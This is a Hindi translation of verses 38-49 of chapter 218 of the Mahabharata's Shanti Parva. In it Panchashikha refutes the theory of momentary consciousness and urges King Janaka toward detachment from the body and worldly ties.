महाभारत शान्ति पर्व अध्याय 218 श्लोक 38-49

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अष्‍टादशाधिकद्विशततम (218) अध्याय: शान्ति पर्व (मोक्षधर्म पर्व)

महाभारत: शान्ति पर्व: अष्‍टादशाधिकद्विशततम अध्याय: श्लोक 38-49 का हिन्दी अनुवाद

यदि कहें, देवदत के ज्ञान से यज्ञदत का ज्ञान पृथक एवं विजातीय है, सजातीय विज्ञानधारा में ही कर्म और उसके फल का भोग प्राप्‍त होता है; अत: देवदत के किये हुए कर्म का योग यज्ञदत को नही प्राप्‍त हो सकता, उस कारण पूर्वोक्‍त दोष की उत्‍पत्ति सम्‍भव नहीं हैं, तब हम यह पूछते हैं कि आपके मत में जो यह सादृश्‍य या सजातीय विज्ञान उत्‍पन्‍न होता है, उसका उपादान क्‍या है ? यदि पूर्वक्षणवर्ती विज्ञान को ही उपादान बताया जाय तो यह ठीक नहीं है; क्‍योंकि वह विज्ञान नष्‍ट हो चुका और यदि पूर्वक्षणवर्ती विज्ञानका नाश ही उतरक्षणवर्ती सजातीय विज्ञान की उत्‍पत्ति में कारण है, तब तो यदि कुछ लोग किसी के शरीर को मूसलों से मार डालें तो उस मरे हुए शरीर से भी दूसरे शरीर की पुन: उत्‍पत्तिहो सकती है (अत: यह मत ठीक नहीं है)। ऋतु, संवत्‍सर, युग, सर्दी, गर्मी तथा प्रिय और अप्रिय- ये सब वस्‍तुएँ आकर चली जाती हैं और जाकर फिर आ जाती है, यह सब लोग प्रत्‍यक्ष देखते हैं । उसी प्रकार सत्‍वसंक्षयरूप मोक्ष भी फिर आकर निवृत्‍त हो सकता है (क्‍यों‍कि विज्ञानधारा का कहीं अन्‍त नहीं है)। जैसे मकान के दुर्बल-दुर्बल अंग पहले नष्‍ट होने लगता हैं और फिर क्रमश: सारा मकान ही गिर जाता है, उसी प्रकार वृद्धावस्‍था और विनाशकारी मृत्‍यु से आक्रान्‍त हुए शरीर के दुर्बल-दुर्बल अंग क्षीण होते-होते एक दिन सम्‍पूर्ण शरीर का नाश हो जाता है। इन्द्रिय, मन, प्राण, रक्‍त, मांस और हडडी ये सब क्रमश: नष्‍ट होते और अपने कारण में मिल जाते हैं। यदि आत्‍मा की सत्‍ता न मानी जाय तो लोकयात्रा का निर्वाह नहीं होगा। दान और दूसरे धर्मो के फल की प्राप्ति के लिये कोई आस्‍था नहीं रहेगी; क्‍योंकि वैदिक शब्‍द और लौकिक व्‍यवहार सब आत्‍मा को ही सुख देने के लिये हैं। इस प्रकार मन में अनेक प्रकार के तर्क उठते है और उन तर्को तथा युक्तियों से आत्‍मा की सत्‍ता या असत्‍ता का निर्धारण कुछ भी होता नहीं दिखायी देता। इस तरह विचार करते हुए भिन्‍न-भिन्‍न मतों की ओर दौड़नेवाले लोगों की बुद्धि कहीं एक जगह प्रवेश करती है और वहीं वृक्ष की भाँति जड़ जमाये जीर्ण हो जाती है। इस प्रकार अर्थ और अनर्थ से सभी प्राणी दुखी रहते है । केवल शास्‍त्र के वचन उन्‍हें खींचकर राहपर लाते हैं । ठीक उसी तरह, जैसे महावत हाथी पर अंकुश रखकर उन्‍हें काबू में किये रहते हैं। बहुत से शुष्‍क हृदयवाले लोग ऐसे विषयों की लिप्‍सा रखते हैं, जो अत्‍यन्‍त सुखदायक हों; किंतु इस लिप्‍सा में उन्‍हें भारी से भारी दु:खों का ही सामना करना पड़ता है और अन्‍त में वे भोगों को छोड़कर मृत्‍यु के ग्रास बन जाते हैं। जो एक दिन नष्‍ट होनेवाला है, जिसके जीवन का कुछ ठिकाना नहीं, ऐसे अनित्‍य शरीर को पाकर इन बन्‍धु-बान्‍धवों तथा स्‍त्री-पुत्र आदि से क्‍या लाभ हैं ? यह सोचकर जो मनुष्‍य इन सबकों क्षणभर में वैराग्‍यपूर्वक त्‍यागकर चल देता है, उसे मृत्‍यु के पश्‍चात् फिर इस संसार में जन्‍म नहीं लेना पड़ता। पृथ्‍वी, आकाश, जल, अग्नि और वायु – ये सदा शरीर की रक्षा करते रहते हैं । इस बात को अच्‍छी तरह समझ लेनेपर इसके प्रति आसक्ति कैसे हो सकती है ? जो एक दिन मृत्‍यु के मुख में पड़नेवाला है, ऐसे शरीर से सुख कहॉ है। पंचशिख का यह उपदेश जो भ्रम और वंचना से रहित, सर्वथा निर्दोष तथा आत्‍मा का साक्षात्‍कार करानेवाला था, सुनकर राजा जनक को बड़ा विस्‍मय हुआ; अत: उन्‍होंने पुन: प्रश्‍न करने का विचार किया।

इस प्रकार श्रीमहाभारत शान्तिपर्व के अन्‍तर्गत मोक्षधर्मपर्व में पंचशिख के उपदेश के प्रसंग में पाखण्‍डखण्‍डन नामक दो सौ अठारहवाँ अध्‍याय पूरा हुआ।


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टीका टिप्पणी और संदर्भ

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